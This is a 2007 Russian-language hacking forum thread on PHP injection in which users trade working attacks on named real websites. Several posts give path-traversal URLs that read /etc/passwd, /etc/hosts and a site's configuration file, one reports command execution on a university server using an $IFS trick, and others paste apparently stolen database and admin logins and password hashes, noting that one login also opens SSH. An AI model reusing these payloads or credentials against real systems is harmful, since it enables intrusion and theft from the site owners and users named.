PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    http://www.pragma.nl/leden/lid.php?filename=../../../../../../../../../etc/services
     
  2. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Интересная зона - .ГЫ
     
    1 person likes this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    не стал ждать когда полностью загрузится файл =\
     
    #283 Spyder, 16 Jul 2007
    Last edited: 16 Jul 2007
    3 people like this.
  4. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    2 people like this.
  5. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  6. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    ...
     
    2 people like this.
  7. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  8. +StArT+

    +StArT+ Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    24
    Likes Received:
    51
    Reputations:
    3
    www.piers.mit.edu
    PIERS Progress In Electromagnetics Research Symposium.
    ..................................................................................
    Code:
    http://piers.mit.edu/piersproceedings/download.php?file=../../../..[COLOR=PaleTurquoise]/etc/hosts[/COLOR]
    
    http://piers.mit.edu/piersproceedings/download.php?file=../../../..[COLOR=PaleTurquoise]/etc/passwd[/COLOR]
    
    http://piers.mit.edu/piersproceedings/download.php?file=../../../..[COLOR=PaleTurquoise]/etc/ftpusers[/COLOR]
    
    http://piers.mit.edu/piersproceedings/download.php?file=../../../..[COLOR=PaleTurquoise]/etc/syslog.conf[/COLOR]
    ..................................................................................
     
  9. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    выполнение команд www.washington.edu
    uid=65534(nobody) gid=60001

    пробел - $IFS
     
    1 person likes this.
  10. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    #290 ~!DoK_tOR!~, 17 Jul 2007
    Last edited: 17 Jul 2007
    1 person likes this.
  11. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
  12. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    1 person likes this.
  13. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    shop
    Code:
    http://www.react-music.co.uk/common/get_banner.php?f=../../../../../../../../../../../../../../../etc/passwd
    Code:
    http://www.react-music.co.uk/common/get_banner.php?f=../../../../../../../../../../../var/www/html/includes/configure.php
    логин:resist23
    пасс:Fzcs7KF1
    www.react-music.co.uk/admin
     
  14. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Вообще-то это пароль на базу данных.. пароль на админку был в .htaccess
    Code:
    http://www.react-music.co.uk/admin
    damien:TATPG0fbhgmlk
    leehills:7bJipVGS6Woss
    simon:jYYbxjSYEghdM
    Вот тока как их расшифровать, кто-нить знает???
     
    1 person likes this.
  15. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    забыл сказать этот пасс и логин подходит к ssh))
    забей на .htaccess
     
    1 person likes this.
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    "/
     
    #296 Spyder, 17 Jul 2007
    Last edited: 17 Jul 2007
    4 people like this.
  17. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
    2 people like this.
  18. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
  19. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    =\\

     
  20. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    ГЫГЫ БЛОК ЛЕОНИДА ЧЕРНОВЕЦКОГО
    киевлянам сюда:) сайт главного космонавта Украины по совместительству мера Киева:)